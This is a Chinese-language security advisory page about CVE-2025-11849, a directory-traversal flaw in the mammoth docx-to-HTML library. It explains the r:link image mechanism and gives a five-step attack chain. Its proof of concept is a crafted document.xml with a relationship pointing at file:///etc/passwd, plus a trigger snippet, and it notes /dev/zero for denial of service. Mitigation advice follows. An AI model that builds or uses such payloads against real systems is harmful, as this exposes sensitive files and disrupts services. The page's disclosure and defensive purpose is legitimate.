IPBUF安全漏洞报告
English
CVE-2025-11849 CVSS 9.3 严重

CVE-2025-11849 mammoth库目录遍历漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-11849
漏洞类型
目录遍历(Path Traversal)
CVSS评分
9.3 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
mammoth(JavaScript、Java、.NET多语言版本的docx转HTML库)

相关标签

目录遍历Path Traversalmammothdocx信息泄露拒绝服务DoSJavaScriptJava.NET

漏洞概述

CVE-2025-11849是mammoth库中的一个严重目录遍历漏洞,CVSS评分为9.3分,属于严重级别。该漏洞影响mammoth库的多个语言版本,包括JavaScript包(mammoth)、Java包(org.zwobble.mammoth:mammoth)以及.NET相关包。

mammoth是一个广泛使用的开源库,用于将Microsoft Word文档(.docx格式)转换为HTML格式,常用于Web应用中处理用户上传的文档。该漏洞的根本原因在于库在处理docx文件中包含外部链接的图片(使用r:link属性而非嵌入的r:embed属性)时,缺乏对路径和文件类型的充分验证。当解析docx文件中的图片标签时,mammoth库会将URI解析为文件路径并直接读取该文件内容,然后将内容编码为base64并作为data URI包含在HTML输出中。

攻击者可以通过精心构造一个恶意的docx文件,利用此漏洞读取系统上的任意文件,包括敏感配置文件、源代码、密钥等。此外,攻击者还可以通过链接到特殊设备文件(如/dev/random或/dev/zero)来导致服务器资源过度消耗,从而造成拒绝服务攻击。该漏洞需要用户交互(UI:R)来触发,因为需要受害者打开或上传恶意的docx文件。由于影响范围广泛且利用难度较低,该漏洞对使用mammoth库处理用户上传文档的Web应用构成严重威胁。

技术细节

该漏洞的技术原理基于mammoth库对docx文件中图片引用的不当处理机制。

在docx文件格式中,图片可以通过两种方式引用:
1. 嵌入方式(r:embed属性):图片数据直接嵌入在docx文件中
2. 外部链接方式(r:link属性):图片通过URI引用外部资源

当mammoth库处理包含r:link属性的图片标签时,它会执行以下操作:
1. 解析r:link属性中的URI值
2. 将URI解析为本地文件路径(使用类似new URL(link).pathname或path.resolve()的方式)
3. 直接读取该文件的内容
4. 将文件内容编码为base64
5. 以data URI的形式嵌入到输出的HTML中

漏洞的关键问题在于:
- 库没有验证解析后的路径是否在允许的目录范围内
- 库没有检查文件类型或文件扩展名
- 库没有限制可以访问的路径(如限制在docx解压目录内)

利用方式:
1. 攻击者创建一个恶意的docx文件,在其中插入一个图片元素
2. 将图片的引用方式设置为外部链接(r:link),目标指向敏感文件如file:///etc/passwd
3. 将该docx文件发送给受害者或上传到目标Web应用
4. 当应用使用mammoth库处理该文件时,敏感文件的内容会被读取并嵌入到HTML输出中
5. 攻击者可以通过查看转换后的HTML获取敏感信息

对于拒绝服务攻击,攻击者可以将r:link指向/dev/zero(无限零字节流)或/dev/random(无限随机数据),导致服务器在读取文件时消耗大量内存和CPU资源,最终造成服务不可用。

攻击链分析

STEP 1
步骤1:构造恶意docx文件
攻击者创建一个恶意的Microsoft Word文档(.docx格式),在文档中插入一个图片元素,并将图片的引用方式设置为外部链接(r:link属性),目标URI指向目标系统上的敏感文件(如file:///etc/passwd)或特殊设备文件(如file:///dev/zero)。
STEP 2
步骤2:投递恶意文件
攻击者通过钓鱼邮件、文件上传功能或其他社会工程学手段,将恶意docx文件投递到目标系统。文件可能被上传到使用mammoth库的Web应用中,或通过邮件发送给目标用户。
STEP 3
步骤3:触发文档转换
当受害者打开文件或Web应用尝试使用mammoth库处理上传的docx文件时,mammoth库会解析docx文件中的图片标签,识别到r:link属性,并尝试读取外部链接指向的文件。
STEP 4
步骤4:读取敏感文件
mammoth库将URI解析为本地文件路径后,直接使用文件系统API读取目标文件的内容。对于敏感文件(如/etc/passwd、配置文件、密钥等),文件内容被成功读取。
STEP 5
步骤5:数据泄露或拒绝服务
读取的文件内容被编码为base64并作为data URI嵌入到HTML输出中。攻击者可以通过查看转换后的HTML获取敏感信息。如果目标是/dev/zero或/dev/random,则会导致服务器内存和CPU资源耗尽,造成拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!-- CVE-2025-11849 PoC - mammoth Directory Traversal This PoC demonstrates how to create a malicious docx file that exploits the directory traversal vulnerability in mammoth library versions < 1.11.0 Steps to reproduce: 1. Create a new docx file 2. Replace the document.xml inside the docx with the following content 3. Use mammoth to convert the docx to HTML 4. Observe that the contents of /etc/passwd (or any target file) are embedded in the HTML output as a base64-encoded data URI --> <w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape"> <w:body> <w:p> <w:r> <w:drawing> <wp:inline distT="0" distB="0" distL="0" distR="0"> <wp:extent cx="1905000" cy="1524000"/> <wp:effectExtent l="0" t="0" r="0" b="0"/> <wp:docPr id="1" name="Image1"/> <wp:cNvGraphicFramePr> <a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/> </wp:cNvGraphicFramePr> <a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"> <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"> <pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"> <pic:nvPicPr> <pic:cNvPr id="0" name="image.png"/> <pic:cNvPicPr/> </pic:nvPicPr> <pic:blipFill> <a:blip r:link="rId1"/> <a:stretch> <a:fillRect/> </a:stretch> </pic:blipFill> <pic:spPr> <a:xfrm> <a:off x="0" y="0"/> <a:ext cx="1905000" cy="1524000"/> </a:xfrm> <a:prstGeom prst="rect"> <a:avLst/> </a:prstGeom> </pic:spPr> </pic:pic> </a:graphicData> </a:graphic> </wp:inline> </w:drawing> </w:r> </w:p> </w:body> </w:document> <!-- In the document.xml.rels file, add the following relationship: <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="file:///etc/passwd" TargetMode="External"/> To trigger the vulnerability: const mammoth = require('mammoth'); mammoth.convertToHtml({path: 'malicious.docx'}).then(result => { console.log(result.value); // Will contain base64-encoded contents of /etc/passwd }); For DoS attack, replace Target with: file:///dev/zero or file:///dev/random -->

影响范围

mammoth (JavaScript) >= 0.3.25, < 1.11.0
mammoth (JavaScript) >= 0.3.25, < 1.11.0
mammoth (JavaScript) < 1.11.0
org.zwobble.mammoth:mammoth (Java) < 1.11.0

防御指南

临时缓解措施
在无法立即升级到1.11.0版本的情况下,建议采取以下临时缓解措施:1)在Web应用层面,对用户上传的docx文件进行预处理,检查并移除包含r:link属性的图片元素;2)在服务器层面,使用文件系统权限限制mammoth进程的访问范围,确保其只能访问必要的临时目录;3)实施资源使用限制(如内存限制、CPU限制、超时机制),防止通过/dev/zero或/dev/random发起的拒绝服务攻击;4)在应用代码中,在调用mammoth转换之前,先解压docx文件并检查word/_rels/document.xml.rels中的外部链接关系,阻止包含file://协议的链接;5)考虑使用chroot或容器技术将docx转换服务隔离在受限环境中。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表